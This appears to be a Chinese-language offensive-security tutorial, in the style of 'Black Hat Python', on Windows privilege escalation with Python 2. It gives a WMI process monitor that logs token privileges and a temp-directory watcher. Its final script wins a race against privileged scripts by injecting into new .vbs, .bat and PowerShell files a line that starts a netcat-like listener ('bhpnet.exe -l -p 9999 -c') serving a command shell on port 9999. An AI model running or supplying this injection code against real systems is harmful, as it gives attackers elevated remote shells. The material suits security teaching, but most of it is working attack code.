利用WMI监视进程 #coding=utf-8 import win32con import win32api import win32security import wmi import sys import os def log_to_file(message): fd = open("process_monitor_log.csv","ab") fd.write("%s\r\n"%message) fd.close() return #创建一
利用WMI监视进程
#coding=utf-8import win32con
import win32api
import win32security
import wmi
import sys
import os
def log_to_file(message):
fd = open("process_monitor_log.csv","ab")
fd.write("%s\r\n"%message)
fd.close()
return
#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
#初始化WMI接口
c= wmi.WMI()
#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation")
while True:
try:
new_process = process_watcher()
proc_owner = new_process.GetOwner()
proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
create_data = new_process.CreationDate
executable = new_process.ExecutablePath
cmdline = new_process.CommandLine
pid = new_process.ProcessId
parent_pid = new_process.ParentProcessId
privileges = "N/A"
process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)
print process_log_message
log_to_file(process_log_message)
except:
pass
Windows系统的令牌权限
Windows系统的令牌是指：“一个包含进程或线程上下文安全信息的对象”。
1、SeBackupPrivilege：使得用户进程可以备份文件和目录，读取任何文件而无须关注它的访问控制列表（ACL）。
2、SeDebugPrivilege：使得用户进程可以调试其他进程，当然包括获取进程句柄以便将DLL或者代码插入到运行的进程中去。
3、SeLoadDriver：使得用户进程可以加载或者卸载驱动。
#coding=utf-8import win32con
import win32api
import win32security
import wmi
import sys
import os
def get_process_privileges(pid):
try:
#获取目标进程的句柄
hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)
#打开主进程的令牌
htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)
#解析已启用权限的列表
privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)
#迭代每个权限并输出其中已经启用的
priv_list = ""
for i in privs:
#检测权限是否已经启用
if i[1] == 3:
priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])
except Exception as e:
priv_list = "N/A"
return priv_list
def log_to_file(message):
fd = open("process_monitor_log.csv","ab")
fd.write("%s\r\n"%message)
fd.close()
return
#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
#初始化WMI接口
c= wmi.WMI()
#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation")
while True:
try:
new_process = process_watcher()
proc_owner = new_process.GetOwner()
proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
create_data = new_process.CreationDate
executable = new_process.ExecutablePath
cmdline = new_process.CommandLine
pid = new_process.ProcessId
parent_pid = new_process.ParentProcessId
privileges = get_process_privileges(pid)
process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)
print process_log_message
log_to_file(process_log_message)
except:
pass
赢得竞争
有些软件会把文件复制到一个临时目录下，等执行完之后就删除它。为了在这种条件下要进行权限漏洞的利用，必须在和目标程序执行脚本的竞争中占先。
当软件或计划任务创建文件的时候，必须能够在进程执行和删除文件之前插入代码。这里可以使用ReadDirectoryChangesW()函数来实现，可以让我们监控一个目录中的任何文件或者子目录的变化。
#coding=utf-8import tempfile
import threading
import win32file
import win32con
import os
#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]
#文件修改行为对应的常量
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
def start_monitor(path_to_watch):
#为每个监控器起一个线程
FILE_LIST_DIRECTORY = 0x0001
h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None)
while 1:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
)
for action,file_name in results:
full_filename = os.path.join(path_to_watch,file_name)
if action == FILE_CREATED:
print "[+] Created %s"%full_filename
elif action == FILE_DELETED:
print "[+] Deleted %s"%full_filename
elif action == FILE_MODIFIED:
print "[+] Modified %s"%full_filename
#输出文件内容
print "[vvv] Dumping contents..."
try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents
print "[^^^] Dump complete."
except:
print "[!!!] Failed."
elif action == FILE_RENAMED_FROM:
print "[>] Renamed from: %s"%full_filename
elif action == FILE_RENAMED_TO:
print "[>] Renamed to: %s"%full_filename
else:
print "[???] Unknown: %s"%full_filename
except:
pass
for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor,args=(path,))
print "Spawning monitoring thread for path: %s"%path
monitor_thread.start()
代码插入
#coding=utf-8import tempfile
import threading
import win32file
import win32con
import os
#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]
#文件修改行为对应的常量
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
file_types = {}
command = "C:\\Windows\\Temp\\bhpnet.exe -l -p 9999 -c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n"%command]
file_types['.psl'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n"%command]
#用于执行代码插入的函数
def inject_code(full_filename,extension,contents):
#判断文件是否存在标记
if file_types[extension][0] in contents:
return
#如果没有标记的话，那么插入代码并标记
full_contents = file_types[extension][0]
full_contents += file_types[extension][1]
full_contents += contents
fd = open(full_filename,"wb")
fd.write(full_contents)
fd.close()
print "[\o/] Injected code."
return
def start_monitor(path_to_watch):
#为每个监控器起一个线程
FILE_LIST_DIRECTORY = 0x0001
h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None)
while 1:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
)
for action,file_name in results:
full_filename = os.path.join(path_to_watch,file_name)
if action == FILE_CREATED:
print "[+] Created %s"%full_filename
elif action == FILE_DELETED:
print "[+] Deleted %s"%full_filename
elif action == FILE_MODIFIED:
print "[+] Modified %s"%full_filename
#输出文件内容
print "[vvv] Dumping contents..."
try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents
print "[^^^] Dump complete."
except:
print "[!!!] Failed."
filename,extension = os.path.splitext(full_filename)
if extension in file_types:
inject_code(full_filename,extension,contents)
elif action == FILE_RENAMED_FROM:
print "[>] Renamed from: %s"%full_filename
elif action == FILE_RENAMED_TO:
print "[>] Renamed to: %s"%full_filename
else:
print "[???] Unknown: %s"%full_filename
except:
pass
for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor,args=(path,))
print "Spawning monitoring thread for path: %s"%path
monitor_thread.start()
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